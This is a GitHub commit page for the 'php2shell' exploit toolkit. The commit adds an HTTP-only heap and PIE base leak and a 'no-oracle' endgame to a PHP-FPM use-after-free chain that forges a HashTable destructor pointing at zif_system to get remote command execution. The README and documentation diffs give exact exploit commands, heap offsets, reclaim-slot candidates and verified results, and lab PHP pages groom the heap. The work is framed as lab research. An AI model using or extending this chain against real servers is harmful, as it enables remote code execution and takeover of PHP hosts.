Skip to content

Commit b84de1f

Browse files
committed
Add HTTP-only FPM base leak and no-oracle endgame
- add `leak` and `no-oracle` subcommands: leak the Zend-MM chunk and php-fpm PIE bases from a stale short-session string OOB read, then brute-force the two reclaim slots without reading /proc/<pid>/mem - keep `--chunk`/`--pie` overrides and a /proc/<pid>/maps fallback; make `endgame` fall back to the no-oracle geometry when the oracle probe finds no cover - record the verified leak geometry and no-oracle candidates in the FPM profile, extend the profile schema, and document the builder arm page - add leak/dechunk unit tests, a live no-oracle RCE test, and lab helper pages (`bigvar.php`, `leakvar.php`, `refb.php`) plus lab-only app diagnostics - update README, the FPM chain guide, and the profile inventory; correct the unit-test count and remote-FPM limitation wording Verified on the 8.4.26 nginx+FPM lab: leak prints chunk=0x7f4f48800000 pie=0x55d75fc00000; no-oracle reaches uid=1000 without --chunk/--pie; 51 unit tests pass (3 jsonschema live tests skipped unless installed), and primitive/endgame/no-oracle integration tests pass.
1 parent b8b7214 commit b84de1f

12 files changed

Lines changed: 600 additions & 34 deletions

File tree

‎README.md‎

Lines changed: 33 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ not match the profile.
3636
| PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` |
3737
| PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` |
3838
| PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build |
39-
| PHP 8.4.26 FPM | php-8.4.26 source tarball (nginx+FPM) | `8.4.26-fpm` | n/a | n/a | **yes** | `BG(unserialize)` chain; two-slot reclaim, self-correcting retries |
39+
| PHP 8.4.26 FPM amd64 | php-8.4.26 source tarball (nginx+FPM) | `php-8.4.26-fpm` | http (stale string) | http (stale string) | **yes** | `BG(unserialize)` chain; two-slot reclaim; HTTP-only `no-oracle` endgame |
4040
| PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries |
4141
| PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found |
4242
| PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive |
@@ -49,16 +49,22 @@ not match the profile.
4949
| PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile |
5050

5151
**14 profiles (13 heap + 1 FPM), 6 with verified RCE. Offsets extracted for
52-
12 builds.** The FPM profile has no heap-leak stages: the stale
53-
`BG(unserialize)` struct is located with the oracle each run
54-
([docs/fpm-chain.md](docs/fpm-chain.md)).
55-
56-
`Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command
57-
proof on an isolated lab. `no` means not verified, not necessarily impossible;
58-
`n/a` means no heap profile exists for that build. The 8.2.0 row is an
59-
offsets-only entry. All `yes` rows use the lab configuration: Apache prefork
52+
12 builds.** The FPM profile has no Apache leak stages: `endgame` resolves the stale
53+
`BG(unserialize)` struct and the php-fpm PIE base with the
54+
`/proc/<pid>/mem` oracle each run; `no-oracle` leaks the two absolute bases
55+
over HTTP from a stale-session string OOB read, or takes them from
56+
`--chunk`/`--pie` or local `/proc/<pid>/maps`, then brute-forces the two
57+
slots ([docs/fpm-chain.md](docs/fpm-chain.md)).
58+
59+
`Heap leak` is stage 1 and `libphp leak` is stage 2; `oracle (heap)` and
60+
`oracle (PIE)` mean the FPM chain reads the heap chunk and the php-fpm PIE base
61+
from `/proc/<pid>/mem` in local lab mode instead. `RCE` is a real command proof
62+
on an isolated lab. `no` means not verified, not necessarily impossible; `n/a`
63+
means no heap profile exists for that build. The 8.2.0 row is an
64+
offsets-only entry. All `yes` Apache rows use the lab configuration: prefork
6065
`mod_php`, one worker, `display_errors=On`, `memory_limit=8M` and
61-
`session.upload_progress=On`. Per-image offsets and `libphp` sha256 are in
66+
`session.upload_progress=On`; the FPM row uses the nginx+FPM lab. Per-image
67+
offsets and `libphp` sha256 are in
6268
[the offset inventory](docs/offset-inventory.md). The 8.4.25 profile needs the
6369
default retries because its stage 3 is probabilistic.
6470

@@ -153,8 +159,9 @@ python3 tools/php2shell_inventory.py
153159

154160
### PHP-FPM laboratory (no Docker)
155161

156-
The FPM chain runs against a user-prefix PHP build with nginx, using the
157-
`/proc/<pid>/mem` oracle (`ptrace_scope=0`):
162+
The FPM chain runs against an amd64 user-prefix PHP build with nginx. The
163+
default `endgame` uses the `/proc/<pid>/mem` oracle (`ptrace_scope=0`);
164+
`no-oracle` avoids it at exploit time and leaks chunk/PIE over HTTP by default:
158165

159166
```sh
160167
python3 tools/php2shell_fpm_labs.py up --version 8.4.26
@@ -164,6 +171,13 @@ python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \
164171
python3 tools/php2shell_fpm.py \
165172
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \
166173
endgame
174+
# no /proc/<pid>/mem at exploit time (HTTP leak; --chunk/--pie override)
175+
python3 tools/php2shell_fpm.py \
176+
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \
177+
--command 'id>out/p1' --proof-file out/p1 no-oracle
178+
# print only the leaked bases
179+
python3 tools/php2shell_fpm.py \
180+
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 leak
167181
python3 tools/php2shell_fpm_labs.py down
168182
```
169183

@@ -202,8 +216,9 @@ transfer. The FPM chain instead abuses the stale `BG(unserialize)` state:
202216
RINIT memsets `BG` — so the stale window is one request wide.
203217
2. **Locate and reclaim.** The stale 8216-byte `php_unserialize_data` struct is
204218
found with the `/proc/<pid>/mem` oracle (two candidate heap slots; a mismatch
205-
self-corrects on retry). A 4 MB body posted to a second endpoint (the
206-
builder pool) reclaims the chunk.
219+
self-corrects on retry); `no-oracle` skips the mem read and tries both slots
220+
directly. A 4 MB body posted to a second endpoint (the builder pool)
221+
reclaims the chunk.
207222
3. **Forge and fire.** The reclaimed buffer carries a fake `zend_reference`
208223
whose `val` is a fake array whose `pDestructor` is `zif_system`. The consume
209224
request attaches it as session variable `r`; at session shutdown
@@ -237,6 +252,10 @@ offsets:
237252
even when the version has a single profile. HTTP does not expose the CPU
238253
architecture, so the dispatcher refuses instead of guessing.
239254

255+
The FPM profile (`php-8.4.26-fpm`) is an **amd64** user-prefix build of the
256+
8.4.26 source tarball. It runs only in the local nginx+FPM laboratory, so the
257+
oracle selects the build and there is no remote architecture dispatch.
258+
240259
## Configuration requirements
241260

242261
The shipped calibration targets:

‎docs/fpm-chain.md‎

Lines changed: 53 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -85,6 +85,39 @@ The 4 MB arm phase is posted to a **second endpoint** (the builder pool,
8585
`memory_limit=64M`, `cleanup=Off`): posting it to the 8M chain pool would kill
8686
the consumer worker before the fire.
8787

88+
### 2b. HTTP-only endgame (no `/proc/<pid>/mem`)
89+
90+
`no-oracle` removes the memory oracle from the exploit path. It needs two
91+
absolute values that are stable for the lifetime of the FPM master (the
92+
workers are forked from it): the Zend-MM chunk base and the php-fpm PIE base.
93+
By default the client leaks both over HTTP; `--chunk`/`--pie` override them,
94+
and local `/proc/<pid>/maps` is only a fallback (it never opens
95+
`/proc/<pid>/mem`):
96+
97+
```sh
98+
python3 tools/php2shell_fpm.py \
99+
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
100+
--version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
101+
no-oracle
102+
```
103+
104+
The 16384-byte reclaim covers both struct slots: `d = chunk + 0x81000`
105+
with control offset `0xfe8`, and `d = chunk + 0x82000` with `0x1fe8`
106+
(`fpm.no_oracle.candidates` in the profile). A throw-away pads+big request
107+
normalizes the heap after the first arm, so the first candidate usually wins;
108+
a mismatch crashes the worker and the next candidate is tried. The worker
109+
still dies on success (HTTP 502) and the proof is the command's output file.
110+
111+
The HTTP leak reuses the stale-session string: the builder's `bigvar.php`
112+
stores `k0..k3` before a 4 MB tail, a reclaimed 16 KB big field plants a forged
113+
`zend_string` header over the freed k1 slot, its length spans the stale zval
114+
array (chunk pointer) and the `execute_ex` handler table inside the chunk (PIE
115+
pointer), and the app reflects the bytes. The read is retried because the
116+
worker can abort after answering; `leak` prints the two bases.
117+
Absolute bases change when the master restarts, so the leak is repeated per
118+
run. This mode removes both the runtime `/proc/<pid>/mem` dependency and the
119+
need to know the ASLR bases in advance.
120+
88121
### 3. Forge — reference → fake array → `zif_system`
89122

90123
The reclaimed buffer carries, at the offsets `php_var_unserialize` will read:
@@ -168,8 +201,14 @@ Pools (from `lab/fpm/php-fpm.conf.in`):
168201
- **builder** — `memory_limit=64M`, `cleanup=Off` (builds the ~4 MB session
169202
files consumed by `producer` and `build-oom`).
170203

171-
Requirements: `yama ptrace_scope=0` (the `/proc/<pid>/mem` oracle), Python
172-
3.11+, gcc for the user-prefix PHP builds (`lab/fpm/build*.sh`).
204+
The builder webroot includes `bigvar.php` (the arm used by `leak`),
205+
`leakvar.php` (a tunable variant for geometry research) and `refb.php` (a
206+
benign short session). `app.php` can emit `X-Debug-*` diagnostics to
207+
`/tmp/p2s_dbg.txt`; those headers are lab-only instrumentation.
208+
209+
Requirements: Python 3.11+, gcc for the user-prefix PHP builds
210+
(`lab/fpm/build*.sh`). The default `endgame` also needs `yama
211+
ptrace_scope=0` for the `/proc/<pid>/mem` oracle; `no-oracle` does not.
173212

174213
```sh
175214
python3 tools/php2shell_fpm_labs.py up --version 8.4.26
@@ -202,6 +241,12 @@ python3 tools/php2shell_fpm.py \
202241
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
203242
--version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
204243
endgame
244+
245+
# same fire, no /proc/<pid>/mem at exploit time
246+
python3 tools/php2shell_fpm.py \
247+
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
248+
--version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
249+
no-oracle
205250
```
206251

207252
(Global options come before the subcommand.)
@@ -219,15 +264,17 @@ python3 tools/php2shell_auto.py \
219264
Tests: the unit suite always runs; the live lab tests are gated:
220265

221266
```sh
222-
python3 -m unittest discover -s tests -v # 48 tests, skips live FPM
267+
python3 -m unittest discover -s tests -v # 51 tests, skips live FPM
223268
PHP2SHELL_FPM_LAB=1 python3 -m unittest \
224-
tests.test_fpm.FpmLabIntegrationTests -v # primitive + endgame live
269+
tests.test_fpm.FpmLabIntegrationTests -v # primitive + endgame + no-oracle live
225270
```
226271

227272
## Limitations and future work
228273

229-
- **Oracle lab mode.** The remote (no-oracle) leak of `d` is future work; the
230-
shipped chain needs `/proc/<pid>/mem` and therefore runs loopback-only.
274+
- **Oracle lab mode.** `endgame` still uses the `/proc/<pid>/mem` oracle to
275+
resolve `d`. `no-oracle` drops that read at exploit time and leaks the
276+
chunk/PIE bases over HTTP by default; `--chunk`/`--pie` and local maps are
277+
overrides/fallbacks. The shipped chain still targets the loopback lab.
231278
- **Per-build offsets.** `basic_globals` / `zif_system` / `zval_ptr_dtor` are
232279
PIE-relative offsets for the exact FPM build; another distro or version
233280
needs its own profile (`sapi: "fpm"`, see `profiles/schema.json`).

‎docs/profile-inventory.md‎

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,8 +19,10 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`.
1919
| 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes |
2020
| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes |
2121

22-
**14 profiles, 6 with verified RCE** (5 Apache/mod_php + 1 PHP-FPM).
23-
| 8.4.26 FPM | php-8.4.26-fpm | 0x386660 | 0x54a0d0 | - | - | - | - | yes |
22+
**14 profiles, 6 with verified RCE** (5 Apache/mod_php + 1 PHP-FPM). The FPM
23+
row is an amd64 user-prefix build; its stage columns do not apply. The
24+
`no-oracle` path leaks the chunk and PIE bases over HTTP from the stale session
25+
string; the lab-only `endgame` can still read them through `/proc`.
2426

2527
## Per-build notes
2628

‎lab/fpm/webroot/app.php‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,11 +9,49 @@
99
*/
1010
session_start();
1111
header('Content-Type: text/plain; charset=binary');
12+
$dbg_r = !empty($_SERVER['HTTP_X_DEBUG_R']);
13+
if ($dbg_r && isset($_SESSION['r'])) {
14+
$early = "pre type=".gettype($_SESSION['r'])." strlen=".(is_string($_SESSION['r'])?strlen($_SESSION['r']):-1);
15+
if (is_string($_SESSION['r'])) { $early .= " hex=".bin2hex(substr($_SESSION['r'], 0, 64)); }
16+
if (!empty($_SERVER['HTTP_X_DEBUG_ADDR'])) {
17+
$addr = intval($_SERVER['HTTP_X_DEBUG_ADDR'], 0);
18+
$m = @fopen('/proc/self/mem', 'rb');
19+
if ($m) {
20+
fseek($m, $addr);
21+
$raw = @fread($m, 40);
22+
fclose($m);
23+
if ($raw !== false && strlen($raw) === 40) {
24+
$early .= " memlen=".unpack('P', substr($raw, 16, 8))[1]
25+
. " memval=".bin2hex(substr($raw, 24, 16));
26+
} else { $early .= " memread_fail"; }
27+
}
28+
}
29+
file_put_contents('/tmp/p2s_dbg.txt', $early."\n", FILE_APPEND);
30+
}
31+
if (!empty($_SERVER['HTTP_X_ECHO_DELAY'])) {
32+
usleep((int)$_SERVER['HTTP_X_ECHO_DELAY']);
33+
}
34+
if ($dbg_r && isset($_SESSION['r'])) {
35+
$mid = "mid type=".gettype($_SESSION['r'])." strlen=".(is_string($_SESSION['r'])?strlen($_SESSION['r']):-1);
36+
file_put_contents('/tmp/p2s_dbg.txt', $mid."\n", FILE_APPEND);
37+
}
1238
if (!isset($_SESSION) || !is_array($_SESSION)) {
1339
echo "SESSION_EMPTY\n";
1440
exit;
1541
}
1642
foreach ($_SESSION as $k => $v) {
43+
if ($k === 'r' && !empty($_SERVER['HTTP_X_DEBUG_R'])) {
44+
$dbg = "type=".gettype($v);
45+
if (is_string($v)) {
46+
$dbg .= " strlen=".strlen($v)." hex=".bin2hex(substr($v, 0, 64));
47+
}
48+
if (is_object($v) || is_array($v)) {
49+
$dbg .= " cls=".(is_object($v)?get_class($v):"arr");
50+
}
51+
$ref = $_SESSION['r'];
52+
$dbg .= " same=".($_SESSION['r'] === $v ? "Y":"N");
53+
file_put_contents('/tmp/p2s_dbg.txt', $dbg."\n", FILE_APPEND);
54+
}
1755
if (is_string($v)) {
1856
echo $k, "\t", $v, "\n";
1957
} elseif (is_scalar($v) || $v === null) {

‎lab/fpm/webroot/bigvar.php‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<?php
2+
/* php2shell FPM laboratory — arm variant for the no-oracle leak research.
3+
*
4+
* Writes a session whose SMALL variables are decoded (and pushed onto the
5+
* unserialize var_hash) BEFORE the giant tail triggers the producer OOM.
6+
* The stale BG(unserialize) entries therefore retain dangling zval
7+
* pointers, which the consume request can reference via R:N without
8+
* knowing the struct address.
9+
*
10+
* The k-strings are long on purpose: after the producer OOM their freed
11+
* slots become the UAF-read window (R:N binds session 'r' to the stale
12+
* zval; echoing r dumps whatever reused the freed string buffer). The 4MB
13+
* tail is calibrated so the producer OOM fires while unserializing the
14+
* VALUE (the 4MB session file is already resident), i.e. AFTER k0..k3
15+
* were pushed onto the var_hash. Lab-only scaffold.
16+
*/
17+
session_start();
18+
$_SESSION['k0'] = str_repeat('K', 2000);
19+
$_SESSION['k1'] = str_repeat('L', 2000);
20+
$_SESSION['k2'] = str_repeat('M', 2000);
21+
$_SESSION['k3'] = str_repeat('N', 2000);
22+
$_SESSION['big'] = str_repeat('B', 4 * 1024 * 1024);
23+
echo "BIGVAR_OK\n";

‎lab/fpm/webroot/leakvar.php‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<?php
2+
/* Lab-only arm variant for the stale-string leak research.
3+
*
4+
* The value of k1 is the R:2 target (data[1]) after the producer OOM. Its
5+
* length is tunable so its freed string buffer lands in a chosen Zend-MM
6+
* size class and can be reused by a later allocation (e.g. a HashTable).
7+
*/
8+
session_start();
9+
$n0 = isset($_GET['n0']) ? max(1, (int)$_GET['n0']) : 2000;
10+
$n1 = isset($_GET['n1']) ? max(1, (int)$_GET['n1']) : 2000;
11+
$n2 = isset($_GET['n2']) ? max(1, (int)$_GET['n2']) : 2000;
12+
$n3 = isset($_GET['n3']) ? max(1, (int)$_GET['n3']) : 2000;
13+
$_SESSION = array();
14+
$_SESSION['k0'] = str_repeat('K', $n0);
15+
$_SESSION['k1'] = str_repeat('L', $n1);
16+
$_SESSION['k2'] = str_repeat('M', $n2);
17+
$_SESSION['k3'] = str_repeat('N', $n3);
18+
$_SESSION['big'] = str_repeat('B', 4 * 1024 * 1024);
19+
echo "LEAKVAR_OK\n";

‎lab/fpm/webroot/refb.php‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
<?php
2+
/* Lab-only benign session builder: d/a with no R:N. */
3+
session_start();
4+
$_SESSION = array();
5+
$_SESSION['d'] = 'pad';
6+
$_SESSION['a'] = 'x';
7+
echo "REFB_OK\n";

‎profiles/8.4.26-fpm.json‎

Lines changed: 25 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,30 @@
2020
"struct_size": 8216,
2121
"reclaim_pads": [4096, 4096, 4096],
2222
"reclaim_size": 12288,
23-
"oracle": "/proc/<pid>/mem (local lab)"
23+
"oracle": "/proc/<pid>/mem (local lab)",
24+
"no_oracle": {
25+
"reclaim_pads": [4096, 4096, 4096],
26+
"reclaim_size": 16384,
27+
"candidates": [
28+
{"d_off": "0x81000", "k": "0xfe8"},
29+
{"d_off": "0x82000", "k": "0x1fe8"},
30+
{"d_off": "0x81000", "k": "0x1fe8"},
31+
{"d_off": "0x82000", "k": "0xfe8"}
32+
],
33+
"bases": "stable for the FPM master lifetime; supply --chunk/--pie or derive locally from /proc/<pid>/maps"
34+
},
35+
"leak": {
36+
"arm_path": "/bigvar.php",
37+
"pads": [32768, 16384],
38+
"size": 16384,
39+
"header_content_off": "0x17e8",
40+
"read_len": "0x15810",
41+
"chunk_ptr_off": "0x77f8",
42+
"chunk_base_off": "0x8b000",
43+
"pie_ptr_off": "0x157e8",
44+
"pie_base_off": "0x4ea787",
45+
"bases": "leaked over HTTP from a stale short-session string OOB read"
46+
}
2447
},
2548
"stages": {},
2649
"config": {
@@ -29,6 +52,6 @@
2952
"session_upload_progress": "On",
3053
"workers": 2
3154
},
32-
"status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries (see docs/fpm-chain.md).",
55+
"status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries. The no-oracle path leaks chunk/PIE over HTTP from a stale-session string OOB read (see docs/fpm-chain.md).",
3356
"oom_mb": 4
3457
}

0 commit comments

Comments
 (0)